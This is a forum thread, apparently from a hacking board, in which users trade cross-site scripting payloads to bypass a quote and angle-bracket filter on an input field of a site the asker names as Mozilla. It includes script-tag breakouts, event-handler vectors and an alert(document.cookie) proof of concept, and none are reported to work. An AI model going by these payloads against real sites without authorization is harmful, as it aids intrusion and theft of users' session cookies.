[protocol]

Hello everyone,
I need some help in bypassing "
I have a payload
" onmouseover="alert(0);
in this " is getting filtered.
I tried %22, 22, string.fromcharcode method etc. but nothing worked.
Any help will be really appreciated.

[games-lol-owned]

maybe </script><script>alert(1)</script>
or </script><script>alert(/lol/)</script>

hope this helps

[Mario]

maybe </script><script>alert(1)</script>
or </script><script>alert(/lol/)</script>

hope this helps

There is no reason to close and open a script when you are already in one.

[| Solo |]

try

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert('XSS')>

[protocol]

try

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert('XSS')>

This wont work, i am in input tag so need to add something like onmouseover=" in there

---

maybe </script><script>alert(1)</script>
or </script><script>alert(/lol/)</script>

hope this helps

<> gets filtered thats why i am using onmouseover

[cheatson]

This wont work, i am in input tag so need to add something like onmouseover=" in there

---

<> gets filtered thats why i am using onmouseover

That is so wierd, I have this exact problem on a site I looked at last night- a big one, wonder if its the same ^_^ is your one a hidden input by any chance?

---

maybe </script><script>alert(1)</script>
or </script><script>alert(/lol/)</script>

hope this helps

Hopefully you are trolling games-lol-owned @__@

[protocol]

That is so wierd, I have this exact problem on a site I looked at last night- a big one, wonder if its the same ^_^ is your one a hidden input by any chance?

---

Hopefully you are trolling games-lol-owned @__@

its mozilla on which i am trying ...
still no luck mate.

[games-lol-owned]

sorry guys i had been up 50 hours when i posted on this and was replying to 2 ppl about the same sorta thing haha i never ment to post that here lol i had something but cant find it now grrrr haha

sorry for the confusing peeps

what about something like onMouseOver='alert(document.cookie)'>

using '

not sure but could you not / it i.e.:/ onMouseOver=/alert(document.cookie)/>

[protocol]

sorry guys i had been up 50 hours when i posted on this and was replying to 2 ppl about the same sorta thing haha i never ment to post that here lol i had something but cant find it now grrrr haha

sorry for the confusing peeps

what about something like onMouseOver='alert(document.cookie)'>

using '

not sure but could you not / it i.e.:/ onMouseOver=/alert(document.cookie)/>

not working, i even cant use <> these as well only use / but these also not working.